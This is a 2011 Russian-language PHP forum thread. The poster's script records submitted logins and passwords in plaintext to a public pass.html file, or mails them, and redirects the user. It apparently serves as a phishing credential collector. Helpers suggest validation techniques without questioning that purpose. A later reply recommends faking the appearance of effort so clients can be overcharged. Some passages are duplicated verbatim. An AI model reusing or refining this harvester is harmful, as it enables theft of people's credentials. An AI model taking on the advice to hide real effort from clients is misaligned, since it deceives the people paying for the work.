Вот у меня есть скрипт который записывает логин и пароль в файл pass.html
<?php
$BASE="pass.html";
$IS_EMAIL=false;
$LOCATION="/ok.html";
$p0=$_REQUEST["login"];
$p1=$_REQUEST["password"];
$headers = "";
$info="$p0:$p1:\n";
if ($IS_EMAIL){
mail($BASE, "Регистрация завершена!", $headers.$info);
} else {
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
}
header("Location:$LOCATION");
?>
После всех действий пользователь перемещаеться на страницу ok.html.
Как сделать чтоб если он ввел в поле "пароль" символы кроме a-z A-Z 0-9 то он перемещался на страницу error.html
И если он ввел в поле "логин" кол-во символов больше чем 14 то тоже перемещался на error.html
Помогите пожалуйста!
Спустя 22 минуты, 23 секунды (14.08.2011 - 12:03) imbalance_hero написал(а):
mb_strlen - получаем значение длины переменной.
preg_match - проверяем регуляркой введённые данные.
Есть 2 варианта, либо кто-то за тебя напишет регулярку, либо ты сам изучишь регулярные выражение прежде, я сконен ко второму направлению.
Проверку делаешь так:
preg_match - проверяем регуляркой введённые данные.
Есть 2 варианта, либо кто-то за тебя напишет регулярку, либо ты сам изучишь регулярные выражение прежде, я сконен ко второму направлению.
Проверку делаешь так:
if(preg_match('|^(тут регулярка)$|',$login))
действие №1
else
действие №2
Спустя 8 часов, 23 минуты, 6 секунд (14.08.2011 - 20:26) PAVELMEN написал(а):
Цитата (imbalance_hero @ 14.08.2011 - 09:03) |
mb_strlen - получаем значение длины переменной. preg_match - проверяем регуляркой введённые данные. Есть 2 варианта, либо кто-то за тебя напишет регулярку, либо ты сам изучишь регулярные выражение прежде, я сконен ко второму направлению. Проверку делаешь так: if(preg_match('|^(тут регулярка)$|',$login)) |
Знаете ли? я в php можно сказать полный 0!
Можно просто написать такой скрипт как я просил в первом сообщении? кому не сложно! пожалуйста!
В долгу не останусь,получите по шоколадке

Спустя 1 час, 3 минуты, 7 секунд (14.08.2011 - 21:29) imbalance_hero написал(а):
Нарисовать картину (1,5 часа) - 400грн. Сплести косички (2 часа) - 300 грн. Починить унитаз (1 час) - 250грн.
(Цена: грн/8 = доллары). Данная регулярка - 1 час, может 1,5 часа. Хотя программисты более дорогостоющие люди, чем сантехники, и девочки плетящие косички. Готов заплатить?
(Цена: грн/8 = доллары). Данная регулярка - 1 час, может 1,5 часа. Хотя программисты более дорогостоющие люди, чем сантехники, и девочки плетящие косички. Готов заплатить?
Спустя 12 часов, 28 минут, 35 секунд (15.08.2011 - 09:58) PAVELMEN написал(а):
имеете ввиду 500 грн. за пару строчек кода? нет спасибо!
Спустя 5 дней, 10 часов, 20 минут, 24 секунды (20.08.2011 - 20:18) AlexWindHope написал(а):
а не лучше ли просто обработать форму на стороне клиента и не делать никаких редиректов на error.html... что это за бред?
PS: если нужна будет помощь, консультация и т.д. - скайп alexwindhope.
PPS:денег ненадо
PPPS: писать 1у регулярку полтора часа это конечно сурово, видимо я еще не дорос до таких регулярок - но я хз почему так долго
PS: если нужна будет помощь, консультация и т.д. - скайп alexwindhope.
PPS:денег ненадо

PPPS: писать 1у регулярку полтора часа это конечно сурово, видимо я еще не дорос до таких регулярок - но я хз почему так долго

Спустя 1 час, 1 минута, 5 секунд (20.08.2011 - 21:19) grafnet написал(а):
Цитата (AlexWindHope @ 20.08.2011 - 17:18) |
а не лучше ли просто обработать форму на стороне клиента и не делать никаких редиректов на error. |
На стороне клиента - это хорошо, но основная проверка должна происходить на сервере. А регулярка там элементарная. Гугл в помощь.
Спустя 5 минут, 53 секунды (20.08.2011 - 21:25) inpost написал(а):
AlexWindHope
Заказчик не должен знать скорость исполнения скрипта. Создавай видимость деятельности, делай качественное приложение, добавляй ещё что-то типо "много, долго, сложный скрипт, стараемся, всё будет великолепно". И вуаля, дешевый продукт продаётся дорого.
А вот если говорить о другой стороне медали, ты же не собираешься работать программистом за 1500-2000 грн.?!
Заказчик не должен знать скорость исполнения скрипта. Создавай видимость деятельности, делай качественное приложение, добавляй ещё что-то типо "много, долго, сложный скрипт, стараемся, всё будет великолепно". И вуаля, дешевый продукт продаётся дорого.
А вот если говорить о другой стороне медали, ты же не собираешься работать программистом за 1500-2000 грн.?!
